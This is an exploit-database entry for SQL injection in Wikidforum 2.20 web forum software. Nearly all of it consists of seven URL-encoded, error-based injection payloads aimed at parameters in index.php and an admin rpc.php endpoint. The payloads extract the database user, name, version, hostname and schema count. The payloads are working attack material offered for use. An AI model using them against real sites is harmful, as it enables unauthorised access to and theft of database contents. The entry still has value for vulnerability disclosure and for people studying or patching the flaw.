Wikidforum 2.20 - 'message_id' SQL Injection

# Exploit Title: Wikidforum 2.20 - 'message_id' SQL Injection
# Exploit Author: Ihsan Sencan# Exploit Author: Ihsan Sencan
# Date: 2018-10-09
# Vendor Homepage: https://sourceforge.net/projects/wikidforum/
# Software Link: https://sourceforge.net/projects/wikidforum/files/Wikidforum-com-ed.2.20.zip/download
# Version: 2.20
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?action=member_details&id=[SQL]

%28%53%45%4c%45%43%54%20%36%36%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%40%40%48%4f%53%54%4e%41%4d%45%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29

# 2)
# http://localhost/[PATH]/index.php?action=message_details&type=sent_item&message_id=[SQL]

%28%55%50%44%41%54%45%58%4d%4c%28%31%2c%43%4f%4e%43%41%54%28%30%78%32%65%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%29%2c%36%36%29%29

# 3)
# http://localhost/[PATH]/index.php?action=edit_post&post_id=[SQL]

%28%53%45%4c%45%43%54%20%36%36%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29

# 4)
# http://localhost/[PATH]/index.php?action=create_article&article_id=[SQL]

%28%53%45%4c%45%43%54%20%36%36%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%43%4f%55%4e%54%28%73%63%68%65%6d%61%5f%6e%61%6d%65%29%2c%30%78%32%30%32%66%32%30%34%34%36%31%37%34%36%31%36%32%36%31%37%33%36%35%37%33%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%53%43%48%45%4d%41%54%41%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29

# 5)
# http://localhost/[PATH]/index.php?action=pages&page_id=[SQL]

%28%53%45%4c%45%43%54%20%36%36%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%53%45%53%53%49%4f%4e%5f%55%53%45%52%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29

# 6)
# http://localhost/[PATH]/index.php?action=article_main_category&cat_id=[SQL]
 
%28%53%45%4c%45%43%54%20%36%36%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%40%40%48%41%56%45%5f%49%4e%4e%4f%44%42%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29
 
# 7)
# http://localhost/[PATH]/admin/rpc.php?action=applications/admin/posts.php&mode=delete_post&post_id=[SQL]

%28%55%50%44%41%54%45%58%4d%4c%28%31%2c%43%4f%4e%43%41%54%28%30%78%32%65%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%29%2c%36%36%29%29